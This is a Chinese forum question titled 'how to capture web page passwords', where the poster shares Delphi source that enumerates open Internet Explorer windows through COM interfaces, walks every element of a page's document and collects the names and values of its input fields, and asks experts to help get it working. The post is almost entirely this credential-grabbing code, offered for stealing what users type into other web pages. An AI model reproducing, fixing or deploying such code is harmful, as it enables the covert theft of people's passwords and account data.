如何捕获网页密码。。。。全部分都加上了(25分)

研究了好多。。。弄不好了<br><br>找到了这个源码<br><br>但是调试不好，情高手看看<br>uses SHDocVw,MSHTML;<br>procedure GetIETextField(w:longint):TStringList;<br>var i,k:integer;<br> &nbsp; &nbsp;ShellWindow: IShellWindows;<br> &nbsp; &nbsp;IE:IWebBrowser2;<br> &nbsp; &nbsp;IDoc:IHTMLDocument2;<br> &nbsp; &nbsp;spDisp:IDispatch;<br> &nbsp; &nbsp;aInputText:IHTMLInputTextElement;<br> &nbsp; &nbsp;v:OLEVariant;<br> &nbsp; &nbsp;tmpList:TStringList;<br>begin<br> &nbsp;tmpList:=TStringList.Create;<br> &nbsp;ShellWindow:=CoShellWindows.Create;<br> &nbsp;for k:=0 to ShellWindow.Count-1 do<br> &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp;v:=k;<br> &nbsp; &nbsp; &nbsp;spDisp:=ShellWindow.Item(v);<br> &nbsp; &nbsp; &nbsp;spDisp.QueryInterface(IWEBBROWSER2,IE);<br> &nbsp; &nbsp; &nbsp;if IE=nil then continue;<br> &nbsp; &nbsp; &nbsp;if IE.Get_HWND&lt;&gt;w then continue;<br> &nbsp; &nbsp; &nbsp;IDoc:=IE.Document as IHTMLDocument2;<br> &nbsp; &nbsp; &nbsp;if iDoc=nil then continue;<br> &nbsp; &nbsp; &nbsp;if Idoc.Frames.Length&lt;&gt;0 then continue;<br> &nbsp; &nbsp; &nbsp;for i:=0 to Idoc.all.length-1 do<br> &nbsp; &nbsp; &nbsp; &nbsp;begin<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if Idoc=nil then Break;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;spDisp:=Idoc.all.item(i,varEmpty);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if SUCCEEDED(spDisp.QueryInterface(IHTMLInputTextElement,aInputText)) then<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if aInputText.value&lt;&gt;'' then &nbsp;//****//<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tmpList.add('name:'+aInputText.name+' &nbsp;value:'+aInputText.value);<br> &nbsp; &nbsp; &nbsp; &nbsp;end;<br> &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp;end;<br> &nbsp;result:=tmpList;<br>end;